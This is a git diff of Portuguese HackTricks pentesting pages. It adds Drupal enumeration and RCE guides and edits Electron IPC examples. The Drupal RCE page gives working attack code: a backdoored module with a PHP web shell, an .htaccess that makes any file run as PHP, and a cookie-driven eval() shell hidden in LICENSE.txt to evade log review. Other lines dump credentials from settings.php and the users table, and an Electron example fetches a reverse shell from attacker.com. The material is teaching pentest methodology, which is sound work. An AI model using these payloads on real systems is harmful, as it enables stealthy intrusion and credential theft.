||||
* **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, você pode tentar procurar** parâmetros ocultos em cada arquivo web executável.
|
||||
* _Todos os wordlists padrão do Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
|
@ -302,8 +307,8 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
* Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
|
||||
* [Se encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md)
|
||||
* Se encontrar um arquivo _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
|
||||
* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
|
||||
* **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "se parecerão" com eles.
|
||||
* **Arquivos JS**: Na seção de spidering, foram mencionadas várias ferramentas que podem extrair caminhos de arquivos JS. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar a introdução de uma vulnerabilidade potencial no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para verificar se são vulneráveis.
|
||||
* **Desofuscador e descompactador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
|
@ -325,15 +330,15 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
|
|||
**Autenticação NTLM - Divulgação de informações**
|
||||
|
||||
Se o servidor em execução que solicita autenticação for **Windows** ou se você encontrar um login solicitando suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
|
||||
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
|
||||
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
|
||||
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
|
||||
Você pode **automatizar** isso usando o plugin **nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Redirecionamento HTTP (CTF)**
|
||||
|
||||
É possível **inserir conteúdo** dentro de um **Redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo poderia estar **oculto** lá.
|
||||
É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo poderia estar **oculto** lá.
|
||||
### Verificação de Vulnerabilidades Web
|
||||
|
||||
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
Agora que foi realizada uma enumeração abrangente da aplicação web, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -349,9 +354,9 @@ Encontre mais informações sobre vulnerabilidades web em:
|
|||
|
||||
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
134
network-services-pentesting/pentesting-web/drupal/README.md
Normal file
|
@ -0,0 +1,134 @@
|
|||
# Drupal
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Descoberta
|
||||
|
||||
* Verifique **meta**
|
||||
```bash
|
||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||
```
|
||||
* **Nó**: O Drupal **indexa seu conteúdo usando nós**. Um nó pode **conter qualquer coisa** como uma postagem de blog, enquete, artigo, etc. Os URIs das páginas geralmente têm a forma `/node/<nodeid>`.
|
||||
```bash
|
||||
curl drupal-site.com/node/1
|
||||
```
|
||||
## Enumeração
|
||||
|
||||
O Drupal suporta **três tipos de usuários** por padrão:
|
||||
|
||||
1. **`Administrador`**: Este usuário tem controle total sobre o site do Drupal.
|
||||
2. **`Usuário Autenticado`**: Esses usuários podem fazer login no site e realizar operações como adicionar e editar artigos com base em suas permissões.
|
||||
3. **`Anônimo`**: Todos os visitantes do site são designados como anônimos. Por padrão, esses usuários só podem ler postagens.
|
||||
|
||||
### Versão
|
||||
|
||||
* Verifique `/CHANGELOG.txt`
|
||||
```bash
|
||||
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
|
||||
|
||||
Drupal 7.57, 2018-02-21
|
||||
```
|
||||
{% hint style="info" %}
|
||||
As novas instalações do Drupal por padrão bloqueiam o acesso aos arquivos `CHANGELOG.txt` e `README.txt`.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeração de nomes de usuário
|
||||
|
||||
#### Registro
|
||||
|
||||
Em _/user/register_ basta tentar criar um nome de usuário e se o nome já estiver em uso, você será notificado:
|
||||
|
||||
![](<../../../.gitbook/assets/image (328).png>)
|
||||
|
||||
#### Solicitar nova senha
|
||||
|
||||
Se você solicitar uma nova senha para um nome de usuário existente:
|
||||
|
||||
![](<../../../.gitbook/assets/image (903).png>)
|
||||
|
||||
Se você solicitar uma nova senha para um nome de usuário inexistente:
|
||||
|
||||
![](<../../../.gitbook/assets/image (307).png>)
|
||||
|
||||
### Obter número de usuários
|
||||
|
||||
Acessando _/user/\<number>_ você pode ver o número de usuários existentes, neste caso são 2, pois _/users/3_ retorna um erro de não encontrado:
|
||||
|
||||
![](<../../../.gitbook/assets/image (333).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (227) (1) (1) (1).png>)
|
||||
|
||||
### Páginas ocultas
|
||||
|
||||
**Fuzz `/node/$` onde `$` é um número** (de 1 a 500, por exemplo).\
|
||||
Você pode encontrar **páginas ocultas** (teste, desenvolvimento) que não são referenciadas pelos mecanismos de busca.
|
||||
|
||||
#### Informações sobre módulos instalados
|
||||
```bash
|
||||
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
|
||||
#Get info on installed modules
|
||||
curl https://example.com/config/sync/core.extension.yml
|
||||
curl https://example.com/core/core.services.yml
|
||||
|
||||
# Download content from files exposed in the previous step
|
||||
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||
```
|
||||
### Automático
|
||||
```bash
|
||||
droopescan scan drupal -u http://drupal-site.local
|
||||
```
|
||||
## RCE
|
||||
|
||||
Se você tem acesso ao console web do Drupal, verifique estas opções para obter RCE:
|
||||
|
||||
{% content-ref url="drupal-rce.md" %}
|
||||
[drupal-rce.md](drupal-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pós Exploração
|
||||
|
||||
### Ler settings.php
|
||||
```
|
||||
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||
```
|
||||
### Extrair usuários do BD
|
||||
```
|
||||
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||
```
|
||||
## Referências
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
269
network-services-pentesting/pentesting-web/drupal/drupal-rce.md
Normal file
|
@ -0,0 +1,269 @@
|
|||
# Drupal RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Com o Módulo PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nas versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como administrador e **ativar o módulo `PHP filter`**, que "Permite que trechos de código/snippets PHP embutidos sejam avaliados." Mas a partir da versão 8, este módulo não está instalado por padrão.
|
||||
{% endhint %}
|
||||
|
||||
Você precisa que o **plugin php esteja instalado** (verifique acessando _/modules/php_ e se retornar um **403** então, **existe**, se **não encontrado**, então o **plugin php não está instalado**)
|
||||
|
||||
Vá para _Módulos_ -> (**Marque**) _PHP Filter_ -> _Salvar configuração_
|
||||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
Em seguida, clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo_ -> Escreva _código shell php no corpo_ -> Selecione _Código PHP_ em _Formato de texto_ -> Selecione _Visualizar_
|
||||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
Finalmente, acesse o nó recém-criado:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
## Instalar o Módulo Filtro PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
|
||||
{% endhint %}
|
||||
|
||||
A partir da versão **8 em diante**, o [**módulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **não é mais instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo por conta própria**.
|
||||
|
||||
1. Baixe a versão mais recente do módulo no site do Drupal.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Após o download, vá para **`Administração`** > **`Relatórios`** > **`Atualizações disponíveis`**.
|
||||
3. Clique em **`Procurar`**, selecione o arquivo no diretório em que o baixamos e clique em **`Instalar`**.
|
||||
4. Depois que o módulo estiver instalado, podemos clicar em **`Conteúdo`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `Código PHP` no menu suspenso `Formato de texto`**.
|
||||
|
||||
## Módulo com Backdoor
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
|
||||
{% endhint %}
|
||||
|
||||
Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Os módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como o [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o arquivo tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Baixe o arquivo e extraia seu conteúdo.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* Criar um **shell web PHP** com o conteúdo:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Em seguida, precisamos criar um arquivo **`.htaccess`** para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta **`/modules`**.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
RewriteBase /
|
||||
</IfModule>
|
||||
```
|
||||
* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos esses arquivos para a pasta captcha e crie um arquivo compactado.
|
||||
```bash
|
||||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Assumindo que temos **acesso administrativo** ao site, clique em **`Gerenciar`** e depois em **`Estender`** na barra lateral. Em seguida, clique no botão **`+ Instalar novo módulo`**, e seremos levados para a página de instalação, como `http://drupal-site.local/admin/modules/install`. Navegue até o arquivo backdoored Captcha e clique em **`Instalar`**.
|
||||
* Após a instalação bem-sucedida, navegue para **`/modules/captcha/shell.php`** para executar comandos.
|
||||
|
||||
## Backdooring Drupal com Sincronização de Configuração <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### Parte 1 (ativação de _Mídia_ e _Biblioteca de Mídia_)
|
||||
|
||||
No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins _Mídia_ e _Biblioteca de Mídia_ não parecem estar ativados, então vamos ativá-los.
|
||||
|
||||
Antes da ativação:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Após a ativação:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 2 (alavancando o recurso _Sincronização de Configuração_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (exportar) e carregar (importar) entradas de configuração do Drupal:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
||||
**Patching system.file.yml**
|
||||
|
||||
Vamos começar aplicando o patch na primeira entrada `allow_insecure_uploads` de:
|
||||
|
||||
Arquivo: system.file.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
allow_insecure_uploads: false
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para:
|
||||
|
||||
Arquivo: system.file.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
allow_insecure_uploads: true
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch campo field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
Em seguida, corrija a segunda entrada `file_extensions` de:
|
||||
|
||||
Arquivo: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
||||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para:
|
||||
|
||||
Arquivo: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
...
|
||||
|
||||
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||||
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
> Não o utilizo neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de forma arbitrária e que ela é vulnerável a um ataque de travessia de caminho (assim podemos voltar dentro da árvore do sistema de arquivos do Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 3 (alavancando o recurso _Adicionar Documento_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
O último passo é o mais simples e é dividido em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para alavancar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload.
|
||||
|
||||
Arquivo: .htaccess
|
||||
```
|
||||
<Files *>
|
||||
SetHandler application/x-httpd-php
|
||||
</Files>
|
||||
|
||||
# Vroum! Vroum!
|
||||
# We reactivate PHP engines for all versions in order to be targetless.
|
||||
<IfModule mod_php.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
<IfModule mod_php7.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
<IfModule mod_php5.c>
|
||||
php_flag engine on
|
||||
</IfModule>
|
||||
```
|
||||
Por que esse truque é legal?
|
||||
|
||||
Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via `$_COOKIE` e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.
|
||||
|
||||
Por que nomear nosso Webshell de LICENSE.txt?
|
||||
|
||||
Simplesmente porque se pegarmos o seguinte arquivo, por exemplo [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, o que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Arquivo: LICENSE.txt Patcheado
|
||||
```txt
|
||||
|
||||
...
|
||||
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
<?php
|
||||
|
||||
# We inject our payload into the cookies so that in the logs of the compromised
|
||||
# server it shows up as having been requested via the GET method, in order to
|
||||
# avoid raising suspicions.
|
||||
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||||
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||||
} else {
|
||||
phpinfo();
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
|
||||
...
|
||||
|
||||
```
|
||||
#### **Parte 3.1 (upload do arquivo .htaccess)**
|
||||
|
||||
Primeiro, aproveitamos o recurso _Adicionar Documento_ (/media/add/document) para fazer upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Parte 3.2 (upload do arquivo LICENSE.txt)**
|
||||
|
||||
Em seguida, aproveitamos novamente o recurso _Adicionar Documento_ (/media/add/document) para fazer upload de um Webshell oculto dentro de um arquivo de licença.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 4 (interação com o Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
A última parte consiste em interagir com o Webshell.
|
||||
|
||||
Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador da Web.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar os comandos que desejar.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
E, como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Obrigado por dedicar seu tempo para ler este artigo, espero que ajude você a obter alguns shells.
|
|
@ -14,19 +14,19 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
Se o script de pré-carregamento expõe um ponto de extremidade IPC do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, um RCE pode ser possível.
|
||||
Se o script de pré-carregamento expõe um ponto de extremidade IPC a partir do arquivo main.js, o processo de renderização poderá acessá-lo e, se vulnerável, um RCE pode ser possível.
|
||||
|
||||
**A maioria desses exemplos foi retirada daqui** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Verifique o vídeo para mais informações.
|
||||
|
||||
## Exemplo 0
|
||||
|
||||
Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava abusando de XSS para RCE nesses slides, este é apenas um exemplo muito básico):
|
||||
Exemplo de [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (você tem o exemplo completo de como o MS Teams estava sendo abusado de XSS a RCE nesses slides, este é apenas um exemplo muito básico):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Exemplo 1
|
||||
|
||||
Verifique como o `main.js` escuta em `getUpdate` e irá **baixar e executar qualquer URL** passado.\
|
||||
Verifique como o `main.js` escuta `getUpdate` e irá **baixar e executar qualquer URL** passado.\
|
||||
Verifique também como `preload.js` **expõe qualquer evento IPC** do main.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
|
@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
## Exemplo 2
|
||||
|
||||
Se o script de pré-carregamento expõe diretamente ao renderizador uma maneira de chamar `shell.openExternal`, é possível obter RCE.
|
||||
Se o script de pré-carregamento expõe diretamente ao renderizador uma forma de chamar `shell.openExternal`, é possível obter RCE.
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
@ -106,12 +106,12 @@ ipcRenderer.send(event, data);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
|
|
